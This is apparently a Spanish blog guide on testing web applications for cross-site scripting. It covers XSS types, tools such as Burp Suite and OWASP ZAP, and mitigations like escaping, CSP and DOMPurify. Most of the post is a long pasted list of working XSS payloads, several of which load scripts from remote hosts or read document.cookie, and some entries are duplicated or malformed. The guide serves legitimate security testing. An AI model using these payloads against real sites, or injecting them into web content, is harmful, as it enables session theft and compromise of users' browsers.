Buenas lectores.
Las pruebas de seguridad contra Cross-Site Scripting (XSS) son esenciales para prevenir ataques que pueden comprometer datos de usuarios, modificar contenido de sitios web y ejecutar scripts maliciosos en navegadores. Aquí tienes una guía estructurada sobre cómo abordar estas pruebas.
1. ¿Qué es XSS y por qué es importante probarlo?
XSS es una vulnerabilidad que permite a atacantes inyectar scripts en páginas web que luego se ejecutan en el navegador de otros usuarios. Esto puede llevar al robo de credenciales, desfiguración de sitios y distribución de malware.
Realizar pruebas de XSS es fundamental para proteger la integridad y seguridad de los sistemas web, garantizando que las entradas de usuario sean tratadas adecuadamente y evitando ejecuciones de código arbitrarias.
2. Tipos de XSS y cuándo realizar pruebas
a) XSS almacenado
- Ocurre cuando el código malicioso se almacena en la base de datos y se ejecuta al cargar la página.
- Cuándo probar: En sistemas donde los usuarios pueden ingresar y almacenar contenido, como foros, comentarios y paneles administrativos.
- Es el mas importante a probar porque es el mas peligroso.
b) XSS reflejado
- Se ejecuta inmediatamente cuando un usuario hace clic en un enlace manipulado.
- Cuándo probar: En cualquier lugar donde se reciban parámetros desde la URL, como formularios de búsqueda o autenticación.
c) XSS basado en DOM
- La manipulación ocurre dentro del navegador, sin interacción con el servidor.
- Cuándo probar: En aplicaciones con JavaScript dinámico que modifican el DOM sin validar entradas adecuadamente.
3. Métodos para realizar pruebas de XSS
a) Análisis de entradas
Prueba enviando diferentes payloads en campos de texto, parámetros de URL y cookies, como:
html
<script>alert('XSS')</script>
Si la alerta aparece sin haber pasado por validaciones adecuadas, la aplicación es vulnerable.
b) Pruebas con herramientas de análisis
Utiliza herramientas como:
- Burp Suite: Para interceptar y modificar solicitudes HTTP.
- OWASP ZAP: Para escanear vulnerabilidades automáticamente.
- XSStrike: Para pruebas avanzadas de XSS en aplicaciones web.
c) Validación de sanitización
Verifica que la aplicación remueva o escape correctamente caracteres peligrosos como < > " ' &. Un código seguro debe transformar:
html
<script>alert("XSS")</script>
En:
html
<script>alert("XSS")</script>
Esto impide que el código se ejecute en el navegador.
4. Buenas prácticas para mitigar XSS
- Escapar y sanitizar entradas antes de mostrarlas en HTML.
- Utilizar CSP (Content Security Policy) para restringir la ejecución de scripts externos.
- Implementar validaciones en servidor y cliente, evitando confianza en datos no verificados.
- Usar librerías seguras como DOMPurify para limpiar contenido antes de renderizarlo.
Aquí te dejo una buena lista de payloads que puedes probar en los formularios y/o servicios que estes probando:
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert("XSS")</script>
<script>alert("XSS");</script>
<script>alert('XSS')</script>
"><script>alert("XSS")</script>
<script>alert(/XSS")</script>
<script>alert(/XSS/)</script>
</script><script>alert(1)</script>
'; alert(1);
')alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert('XSS')>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<img src=xss onerror=alert(1)>
<iframe %00 src="	javascript:prompt(1)	"%00>
<svg><style>{font-family:'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT:confirm(1)"
<sVg><scRipt %00>alert(1) {Opera}
<img/src=`%00` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript:confirm(1)"
<img src=`%00`
 onerror=alert(1)

<script/	 src='https://dl.dropbox.com/u/13018058/js.js'; /	></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
"><h1/onmouseover='\u0061lert(1)'>%00
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js'; {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<img/	  src=`~` onerror=prompt(1)>
<form><iframe 	  src="javascript:alert(1)" 	;>
<a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a
http://www.google<script .com>alert(document.location)</script
<a href=[�]"� onmouseover=prompt(1)//">XYZ</a
<img/src=@  onerror = prompt('1')
<style/onload=prompt('XSS')
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
�</form><input type="date" onfocus="alert(1)">
<form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='<body onload=prompt(1)>'>
<a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=<!--	> alert (1)>
<///style///><span %2F onmousemove='alert(1)'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg'; onmouseover=	prompt(1)
"><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert(1)'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe/%00/ src=javaSCRIPT:alert(1)
//<form/action=javascript:alert(document.cookie)><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript: javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
<a href="javascript:\u0061le%72t(1)"><button>
<div onmouseover='alert(1)'>DIV</div>
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT:alert(1)">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript:alert(document.cookie)>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j
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															28
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																	%29></iframe>
<svg><script ?>alert(1)
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript:\u0061le%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=<!-->
alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>//
confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=data:text/javascript,alert(1)></script>
<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript:alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert("XSS")>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo ;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
<SCRIPT>alert(/XSS/.source)</SCRIPT>
\\";alert('XSS');//
</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>
<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">
<BODY BACKGROUND=\"javascript:alert('XSS')\">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
<BGSOUND SRC=\"javascript:alert('XSS');\">
<BR SIZE=\"&{alert('XSS')}\">
<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>
<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">
<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">
<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>
<XSS STYLE=\"behavior: url(xss.htc);\">
<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox(\"XSS\")'>
<IMG SRC=\"mocha:[code]\">
<IMG SRC=\"livescript:[code]\">
žscriptualert(EXSSE)ž/scriptu
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"
<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
<TABLE BACKGROUND=\"javascript:alert('XSS')\">
<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
<DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
<DIV STYLE=\"width: expression(alert('XSS'));\">
<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>
<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">
<XSS STYLE=\"xss:expression(alert('XSS'))\">
exp/*<A STYLE='no\xss:noxss(\"*//*\");
xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>
<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>
<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
<BASE HREF=\"javascript:alert('XSS');//\">
<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
a=\"get\";
b=\"URL(\\"\";
c=\"javascript:\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>
<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>
<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>
<XML SRC=\"xsstest.xml\" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<HTML><BODY>
<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">
<?import namespace=\"t\" implementation=\"#default#time2\">
<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\">
</BODY></HTML>
<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>
<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->
<? echo('<SCR)';
echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>
<IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">
<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<A HREF=\"http://66.102.7.147/\">XSS</A>
<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>
<A HREF=\"http://1113982867/\">XSS</A>
<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>
<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>
<A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>
<A HREF=\"//www.google.com/\">XSS</A>
<A HREF=\"//google\">XSS</A>
<A HREF=\"http://ha.ckers.org@google\">XSS</A>
<A HREF=\"http://google:ha.ckers.org\">XSS</A>
<A HREF=\"http://google.com/\">XSS</A>
<A HREF=\"http://www.google.com./\">XSS</A>
<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>
<A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>
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<iframe src=http://ha.ckers.org/scriptlet.html>
<IMG SRC=\"javascript:alert('XSS')\"
<SCRIPT SRC=//ha.ckers.org/.js>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<<SCRIPT>alert(\"XSS\");//<</SCRIPT>
<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>
<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<IMG SRC=\" javascript:alert('XSS');\">
perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">
<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=\"javascript:alert('XSS');\">
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
'';!--\"<XSS>=&{()}
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
"><ScRiPt>alert(document.cookie)</script>
"><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
'; alert(document.cookie); var foo='
foo\'; alert(document.cookie);//';
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert('XSS')>
<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
Algunas listas mas ordenadas:
https://github.com/payloadbox/xss-payload-list
Conclusión
Las pruebas de seguridad de XSS son críticas para evitar ataques maliciosos. Un tester debe asegurarse de que la aplicación maneje adecuadamente las entradas de usuario, proteja los datos y evite ejecuciones no deseadas.
Fuentes:
https://underc0de.org/foro/hacking/lista-de-webs-para-practicar-sql-y-xss/
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting
https://www.browserstack.com/guide/xss-testing
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